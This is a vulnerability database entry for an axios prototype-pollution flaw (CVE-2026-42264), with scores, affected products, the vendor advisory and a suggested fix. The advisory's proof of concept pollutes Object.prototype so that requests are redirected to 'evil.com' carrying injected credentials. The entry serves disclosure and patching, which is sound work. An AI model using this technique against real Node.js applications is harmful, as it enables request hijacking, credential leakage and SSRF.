CVE-2026-42264
JSON

7.4high

Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking

Severity
7.4high CVSS:3.1 by GitHub_M
Exploit likelihood
1.00% (higher than 62% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-q8qp-cvcw-x6jj

Description

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

Affected

Product or packageVersionsReported by
axios axios>= 1.0.0, < 1.15.2, from 1.0.0 before 1.15.2CVE List, NVD
axiosNot specifiedCVE List
advanced-cluster-security/rhacs-main-rhel8Not specified
Not affected: from 1779371594 before *, from 1779293013 before *
CVE List
advanced-cluster-security/rhacs-main-rhel9Not specified
Not affected: from 1783352589 before *
CVE List
ansible-automation-platform-27/gateway-rhel9Not specified
Not affected: from 1783919486 before *
CVE List
rhmtc/openshift-migration-ui-rhel8Not specified
Not affected: from 1783690532 before *
CVE List
mta/mta-ui-rhel9Not specified
Not affected: from 1785169013 before *
CVE List
rhoai/odh-dashboard-rhel9Not specified
Not affected: from 1787347991 before *
CVE List
rhoai/odh-mlflow-rhel9Not specified
Not affected: from 1787226790 before *
CVE List
rhoai/odh-mod-arch-automl-rhel9Not specified
Not affected: from 1787250508 before *
CVE List
rhoai/odh-mod-arch-autorag-rhel9Not specified
Not affected: from 1787251550 before *
CVE List
rhoai/odh-mod-arch-gen-ai-rhel9Not specified
Not affected: from 1786611759 before *
CVE List

All scores

GitHub_M7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
redhat-SADP7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
GitHub7.4high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
NVD9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Classification

CWE-915CWE-1321

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

GitHub Advisory Database

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

NVD (es)

Axios es un cliente HTTP basado en promesas para el navegador y Node.js. Desde la versión 1.0.0 hasta antes de la versión 1.15.2, cinco propiedades de configuración (auth, baseURL, socketPath, beforeRedirect, e insecureHTTPParser) en el adaptador HTTP se leen mediante acceso directo a propiedades sin protecciones hasOwnProperty, haciéndolas explotables como dispositivos de contaminación de prototipos. Cuando Object.prototype es contaminado por otra dependencia en el mismo proceso, axios recoge silenciosamente estos valores contaminados en cada solicitud HTTP saliente. Este problema ha sido parcheado en la versión 1.15.2.

References

https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jjexploit, mitigation, vendor-advisory, web
https://github.com/axios/axios/pull/10779issue-tracking, patch, web
https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aapatch, web
https://github.com/axios/axios/releases/tag/v1.15.2product, release-notes, web
https://access.redhat.com/security/cve/CVE-2026-42264vdb-entry
https://bugzilla.redhat.com/show_bug.cgi?id=2467927issue-tracking
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42264.json
https://access.redhat.com/errata/RHSA-2026:66545vendor-advisory
https://access.redhat.com/errata/RHSA-2026:66488vendor-advisory
https://access.redhat.com/errata/RHSA-2026:20938vendor-advisory
https://access.redhat.com/errata/RHSA-2026:20889vendor-advisory
https://access.redhat.com/errata/RHSA-2026:36207vendor-advisory

Sources

SourceRecordLicence
CVE ListCVE-2026-42264 changed 2026-09-11CVE Terms of Use
GitHub Advisory DatabaseGHSA-q8qp-cvcw-x6jj changed 2026-09-10CC-BY-4.0
NVDCVE-2026-42264 changed 2026-11-11Public domain